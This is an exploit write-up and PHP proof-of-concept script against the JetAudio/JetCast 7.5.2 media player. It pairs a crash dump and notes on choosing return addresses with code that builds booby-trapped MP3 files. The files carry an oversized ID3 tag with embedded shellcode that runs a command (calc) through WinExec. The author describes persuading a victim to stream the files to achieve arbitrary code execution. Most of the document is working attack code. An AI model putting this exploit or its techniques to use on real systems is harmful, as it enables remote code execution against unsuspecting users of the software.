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http://retrogod.altervista.org/
software site: http://www.jetaudio.com/
Tested against JetAudio pack v.7.5.2
---------------------------------------------------------------------------------
Passing an overlong string as id3 tag we have:
(370.7a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000394 ecx=41414141 edx=00160608 esi=010c1a00 edi=0302fbc8
eip=00486db7 esp=0302fb14 ebp=0302fe7c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
jetCast+0x86db7:
00486db7 8b11 mov edx,dword ptr [ecx] ds:0023:41414141=????????
code:
00486DB7 |. 8B11 MOV EDX,DWORD PTR DS:[ECX] <-------crash
00486DB9 |. 8B8D ACFCFFFF MOV ECX,DWORD PTR SS:[EBP-354]
00486DBF |. FF52 0C CALL DWORD PTR DS:[EDX+C]
...
-------------------------------------------------------------------------------------
We have 4 bytes of ecx to redirect the program to edi, which keeps our buffer.
To do that first we set ecx to a portion of memory which *always* (or nearly) keeps
the filename.
Look 0x01050000... no null char allowed, so I will use 0x01050101 to hit the right
offset.
To build it we need an address which points to a known call edi, compatible with
windows filenames. To achieve that you may do so:
x@pyro ~/framework-2.2/tools
$ memdump (pid) jetcast
x@pyro ~/framework-2.2/tools
$ cd ..
x@pyro ~/framework-2.2/
$ msfpescan -d ./tools/jetcast/ -j edi
0x7d03388b call edi
...
x@pyro ~/framework-2.2/tools
$ msfpescan -d ./tools/jetcast/ -x "\x8b\x38\x03\x7d"
0x028997c4 8b38037d
0x77e062f5 8b38037d
...
then subtract c. Repeat this for each call edi, took me some time to find every
combination by a script and I finally found a good one in the MSVCRT.DLL given
with the program; a third match seems not possible.
Note: first bytes of EDI keep some null chars, but as you can see, this
portion is nop-equivalent:
0348FBC8 0000 ADD BYTE PTR DS:[EAX],AL
0348FBCA 0000 ADD BYTE PTR DS:[EAX],AL
0348FBCC 0000 ADD BYTE PTR DS:[EAX],AL
0348FBCE 0000 ADD BYTE PTR DS:[EAX],AL
0348FBD0 90 NOP
0348FBD1 90 NOP
0348FBD2 90 NOP
...
Usage: php 9sg_jetcast_poc.php
It creates 4 files on your desktop, it says which will hit the right offset on
your system (file path is important to achieve arbitrary code execution on a victim user
so an attacker should persuade him to try to stream them ...)
It works by dragging the file on it or by right clicking and selecting "Add files ...",
not 100% reliable, version specific...
-------------------------------------------------------------------------------------
*/
error_reporting(0);
if (php_sapi_name() <> "cli")
{
die("[!] Launch from the cli!");
}
$____scode = "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53". "\xbb\x0d\x25\x86\x7c". //WinExec, 0x7c86250d
"\xff\xd3\x31\xc0\x50". "\xbb\x12\xcb\x81\x7c". //ExitProcess, 0x7c81cb12
"\xff\xd3\xe8\xe0\xff\xff\xff\x63\x6d\x64\x2e\x65". "\x78\x65\x20\x2f\x63\x20". "cmd /c calc && ". "\xff";
if (strlen($____scode) > 118)
{
die("[!] Shellcode too large here!");
}
$____BOOM = "\x49\x44\x33\x03\x00\x00\x00\x00\x07\x7b\x54\x49\x54\x32\x00\x00\x03\xbe\x00\x00\x00". str_repeat("\x90", 0x7c).//nop, very reusable
"\xeb\x06\x90\x90". //jmp short
//"\x01\x01\x06\x01". //less usually in this location...
"\x01\x01\x05\x01". //eax - ecx, this works 80% of the times
"\x90\x90\x90\x90". //nop
$____scode. str_repeat("A", 0x01f0 - strlen($____scode)). "\x54\x41\x4c\x42\x00\x00\x00\x02\x00\x00\x00\x31\x54\x59\x45\x52\x00\x00\x00\x05\x00\x00\x00\x31\x39\x35\x30\x54\x43\x4f". "\x4e\x00\x00\x00\x02\x00\x00\x00\x31\x54\x43\x4f\x50\x00\x00\x00\x02\x00\x00\x00\x31\xff\xfb\x90\x64\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x6e\x66\x6f\x00\x00\x00". "\x0f\x00\x00\x04\x7e\x00\x07\x57\x2e\x00\x02\x05\x08\x0a\x0d\x10\x12\x14\x17\x19\x1c\x1f\x21\x24\x27\x28\x2b\x2e\x30\x33\x36\x38". "\x3b\x3d\x40\x42\x45\x48\x4a\x4d\x4f\x51\x54\x57\x59\x5c\x5f\x61\x63\x66\x69\x6b\x6e\x71\x73\x76\x78\x7a\x7d\x80\x82\x85\x88\x8a". "\x8c\x8f\x92\x94\x97\x9a\x9c\x9e\xa1\xa3\xa6\xa9\xab\xae\xb1\xb2\xb5\xb8\xba\xbd\xc0\xc3\xc4\xc7\xca\xcc\xcf\xd2\xd4\xd7\xd9\xdb". "\xde\xe1\xe3\xe6\xe9\xeb\xed\xf0\xf3\xf5\xf8\xfb\xfd\x00\x00\x00\x37\x4c\x41\x4d\x45\x33\x2e\x39\x38\x20\x01\xaa\x00\x00\x00\x00". "\x00\x00\x00\x00\
x14\x80\x24\x04\xc7\x4e\x00\x00\x80\x00\x07\x57\x2e\x4f\x7b\xf5\x99\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\
xfb\x90\x64\x00\x09\xf3\x50\x68\xbc". "\xb0\x42\x83\x72\x00\x00\x0d\x20\x00\x00\x01\x14\x35\xa8\xf0\x04\x3e\x8d\xc8\x00\x00\x34\x80\x00\x00\x04\x00\x20\xc0\x01\xf2\x67". "\x21\x27\x0e\x60\x05\x16\x77\x3c\x84\x69\xc8\xdf\xff\xff\xf3\x9d\xe4\x21\x18\xe0\x00\x04\x65\xa6\x9a\x74\xcb\xe5\xf2\x7d\x22\x18". "\x18\xd0\x58\x43\x15\x8a\x50\xd4\x73\xc9\xf2\xfb\xa0\x82\x09\xbd\x48\x20\x85\x68\x20\x85\x34\xd3\xa9\x37\x41\x66\xea\x41\xbf\xab". "\x41\x04\x2b\x4d\x37\xa6\x9b\xd0\x41\x0d\x06\xff\xff\xff\xad\x34\xd2\x20\x06\xa4\xd9\xbb\xad\x34\xd3\xd0\x41\xaa\x41\xb5\xff\xd3". "\x48\xdd\x46\x0f\xf6\x8b\xd4\x95\x75\x15\x24\x60\x4c\x3f\xc8\x95\x53\x6c\x09\x23\x5b\x55\xae\xbd\x73\xaf\xbc\x7c\xfd\xeb\x3f\x5f". "\x74\x92\x29\x7f\x2e\x71\xa2\x67\x78\xc7\xdd\xbd\xeb\x5a\xef\x35\x7a\x8b\x4b\xc4\xd1\x74\xd5\x44\x08\x59\xc2\x52\x10\x18\x03\x65". "\x80\xe2\x81\x85\x43\xb2\x5d\x26\x88\xb1\x16\x27\x92\x5a\x46\xc6\x49\x3d\x13\x13\x54\x98\xc4\xc4\xd5\x92\x32\x76\x3e\x4d\x0b\x34". "\x6b\x1b\xa6\x79\x16\x5d\x9d\x2a\xd1\
x4a\x89\x89\xab\x24\x64\x93\x4c\x8c\x9d\xcf\x14\x46\x5c\x64\x0e\xb9\xe5\xba\xb7\xd7\xba\xaa". "\xba\x96\xb6\xa4\x75\x48\x13\xc1\xf1\x05\x04\x97\x12\x27\x8c\x51\x64\x8b\xc9\x3d\x13\x24\x9d\x91\x47\x75\xd4\xee\xc8\xb9\x18\x62". "\x28\xe5\xa2\xeb\xca\xb2\x7b\x9b\xcb\x17\x77\x57\x84\x20\x04\x09\x49\x4a\x87\xb2\x30\x2b\x22\x52\x9f\x1a\xa7\xfa\xce\xfd\xef\x47". "\x94\xa3\xc8\x90\x1e\x66\x25\x91\xa3\xd4\xe2\xc7\x1f\x3b\x7f\x1e\xf7\xbc\x37\xef\xe3\xd3\x3e\x9a\x65\xf3\x76\x93\x65\xf2\xf8\xe5". "\x86\x47\x04\xf2\x81\xb6\x00\x16\x6c\x65\x4a\xef\x74\x10\x41\x37\x6a\x08\x20\x60\x68\x99\x9a\x69\x9b\xbd\x35\x1c\x27\x0c\x48\x99". "\x38\x4e\x13\x64\xfb\xa1\x98\x17\x10\x41\x74\xd3\x4d\x34\x19\x6b\x2f\x9a\x54\x82\x88\xa1\x38\xff\xfb\x92\x64\x38\x8d\xf5\x62\x6a". "\xbb\x81\x0f\xa3\x72\x00\x00\x0d\x20\x00\x00\x01\x0e\x71\x6a\xf2\x21\x8e\x0d\xc8\x00\x00\x34\x80\x00\x00\x04\x66\x1d\x51\x49\x92". "\x44\x50\xd0\xc0\xd1\x03\x03\x43\x74\xd3\xad\xf5\x3a\xb4\x18\xc0\xb8\x79\x33\x33\x83\x5c\x2c\x18\x2c\x64\xb8\xb2\
xf9\x99\x7d\x34". "\xd4\x87\x41\x69\xd4\x60\x68\xd4\xd6\x66\x6f\x98\x11\x03\xa2\xe5\x36\x4c\xa0\x79\x34\xe5\xdd\xaa\xfb\x36\xca\x14\x04\x04\x04\x98";
$____x = 0x35;
$____v = (strlen($_SERVER["USERPROFILE"]) % 4);
$____x = $____x - $____v;
//addresses that worked for me...
//$____pad = str_repeat("\x73\xb2\x42\x77",$____x); //0x7742b27f COMCTL32.DLL->0x10003dcc call edi, JetCFG.dll
//$____pad = str_repeat("\xe9\x62\xe0\x77",$____x); //0x77e062f5 RPCRT4.DLL->0x7d03388b call edi, SHELL32.DLL
//$____pad = str_repeat("\x23\xa2\xae\x76",$____x); //0x76aea22f ATL.DLL->0x10003dcc call edi, JetCFG.dll
$____pad = str_repeat("\xf3\xa5\xc0\x77", $____x); //0x77c0a5ff MSVRCT.DLL->0x10003dcc call edi, JetCFG.dll, best one
for ($i = 0; $i < 4; $i++)
{
$____junk = str_repeat("_", $i);
$____fname = "_9sg__mzk_".$____junk.$____pad.".MP3";
$____path = $_SERVER["USERPROFILE"]."\\Desktop\\".$____fname;
$____x = fopen($____path, "w+");
if (!$____x)
{
die("[!] Unable to create ".$____path." ...");
}
fputs ($____x, $____BOOM);
fclose($____x);
print("[*] ".$____path." created!\n");
if ($i == $____v)
{
print("[?] This will hit the right offset on your system! Do you like my composition?\n");
}
}
?>
# original url: http://retrogod.altervista.org/9sg_jetcast_heap_bof.html